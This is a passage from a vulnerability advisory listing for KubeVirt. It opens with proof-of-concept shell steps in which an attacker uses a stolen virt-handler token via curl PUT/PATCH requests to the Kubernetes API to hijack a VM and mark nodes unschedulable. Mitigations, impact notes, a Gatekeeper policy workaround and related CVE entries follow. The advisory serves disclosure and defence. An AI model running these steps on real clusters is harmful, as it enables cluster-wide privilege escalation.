attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json 
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k  -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP           NODENAME       READY
testvm   42m   Running   10.244.1.8   minikube-m02   False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4   0/3     Completed   0          44m  # the `virt-launcher` pod is completed

Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:

attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH

Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.

Finally, an admin user decides to restart the VMI:

admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME     AGE   PHASE     IP            NODENAME       READY
testvm   80s   Running   10.244.0.15   minikube-m03   True

Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.

An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.

Impact

This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.

Fixed in


          1.7.0

References

Updated Sep 10, 2026 · Source: OSV.dev

GO-2022-1000 GHSA-qv98-3369-g364 Aug 21, 2024

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

Fixed in


          0.55.1

References

Updated Mar 13, 2026 · Source: OSV.dev

CVE-2024-31420 GO-2024-2688 GHSA-vjhf-6xfr-5p9g Jun 05, 2024

KubeVirt NULL pointer dereference flaw in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2024-33394 GO-2024-2816 GHSA-4q63-mr2m-57hf Jun 05, 2024

kubevirt allows a local attacker to execute arbitrary code via a crafted command in kubevirt.io/kubevirt

References

Updated Jun 20, 2026 · Source: OSV.dev

CVE-2023-26484 GHSA-cp96-jpmq-xrr2 Mar 16, 2023

On a compromised node, the virt-handler service account can be used to modify all node specs

8.2 / 10

High

Network High Low None Changed High High None

Impact

If a malicious user has taken over a Kubernetes node where virt-handler (the KubeVirt node-daemon) is running, the virt-handler service account can be used to modify all node specs.

This can be misused to lure-in system-level-privileged components (which can for instance read all secrets on the cluster, or can exec into pods on other nodes). This way a compromised node can be used to elevate privileges beyond the node until potentially having full privileged access to the whole cluster.

The simplest way to exploit this, once a user could compromise a specific node, is to set with the virt-handler service account all other nodes to unschedulable and simply wait until system-critical components with high privileges appear on its node.

Since this requires a node to be compromised first, the severity of this finding is considered Medium.

Patches

Not yet available.

Workarounds

Gatekeeper users can add a webhook which will block the virt-handler service account to modify the spec of a node.

An example policy, preventing virt-handler from changing the node spec may look like this:

apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: virthandlerrestrictions
spec:
[...]
  targets:
    - libs:
        - |         
[...]          
          is_virt_handler(username) {
              username == "system:serviceaccount:kubevirt:virt-handler"
          }
          mutates_node_in_unintended_way {
            # TODO
            # only allow kubevirt.io/ prefixed metadata node changes
          }
      rego: |
[...]
        
        violation[{"msg": msg}] {
          is_virt_handler(username)
          mutates_node_in_unintended_way(input.review.object, input.review.oldObject)
          msg := sprintf("virt-handler tries to modify node <%v> in an unintended way.", [input.review.object.name])
        }

and applying this template to node modifications.

Credits

Special thanks to the discoverers of this issue:

Nanzi Yang (nzyang@stu.xidian.edu.cn) Xin Guo (guox@stu.xidian.edu.cn) Jietao Xiao (jietaoXiao@stu.xidian.edu.cn) Wenbo Shen (shenwenbo@zju.edu.cn) Jinku Li (jkli@xidian.edu.cn)

References

https://github.com/kubevirt/kubevirt/issues/9109

References

Updated Nov 08, 2023 · Source: OSV.dev

Jun 16, 2020

Activity

Details